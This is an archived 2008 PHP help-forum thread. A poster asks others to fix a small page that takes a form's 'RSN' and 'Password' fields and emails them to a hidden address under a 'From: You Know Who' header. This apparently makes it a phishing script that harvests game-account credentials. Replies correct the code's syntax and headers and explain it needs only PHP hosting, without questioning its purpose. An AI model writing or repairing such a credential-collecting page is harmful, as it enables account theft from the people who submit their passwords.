`Yousef Posted November 17, 2008 Share Posted November 17, 2008 Can anyone fix this up for me # <html> # # <head> # <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> # <title>Tings</title> # </head> # # <body> # RSN: <?php $_POST["detail"]; ?>.<br /> # Password: <?php $_POST["email"]; ?> # # <?php # # $to = "[email protected]"; # $subject = "Details"; # $txt = "$_POST["detail"], $_POST["email"]; # $headers = "From: You Know Who" . "\r\n" . # "CC: [email protected]"; # # mail($to,$subject,$txt,$headers); # ?> # </body> # # </html> Link to comment https://forums.phpfreaks.com/topic/133121-help-with-this-coding/ Share on other sites More sharing options...
ratcateme Posted November 17, 2008 Share Posted November 17, 2008 replace this <?php # # $to = "[email protected]"; # $subject = "Details"; # $txt = "{$_POST['detail']}, {$_POST['email']}"; # $headers = "From: You Know Who" . "\r\n" . # "CC: [email protected]" . "\r\n"; # # mail($to,$subject,$txt,$headers); # ?> Scott. Link to comment https://forums.phpfreaks.com/topic/133121-help-with-this-coding/#findComment-692289 Share on other sites More sharing options...
revraz Posted November 17, 2008 Share Posted November 17, 2008 I doubt this will work, most ISP's require a real address $headers = "From: You Know Who" . "\r\n" . Link to comment https://forums.phpfreaks.com/topic/133121-help-with-this-coding/#findComment-692315 Share on other sites More sharing options...
`Yousef Posted November 17, 2008 Author Share Posted November 17, 2008 Can you take $headers out of the mail function? Link to comment https://forums.phpfreaks.com/topic/133121-help-with-this-coding/#findComment-692320 Share on other sites More sharing options...
ratcateme Posted November 17, 2008 Share Posted November 17, 2008 yep mail($to,$subject,$txt); will work Scott. Link to comment https://forums.phpfreaks.com/topic/133121-help-with-this-coding/#findComment-692327 Share on other sites More sharing options...
`Yousef Posted November 17, 2008 Author Share Posted November 17, 2008 So all I'll need to run this would be hosting with PHP support? Link to comment https://forums.phpfreaks.com/topic/133121-help-with-this-coding/#findComment-692329 Share on other sites More sharing options...
revraz Posted November 17, 2008 Share Posted November 17, 2008 That depends on the Host, some require the FROM header to send the mail, you need to ask your host. Link to comment https://forums.phpfreaks.com/topic/133121-help-with-this-coding/#findComment-692330 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.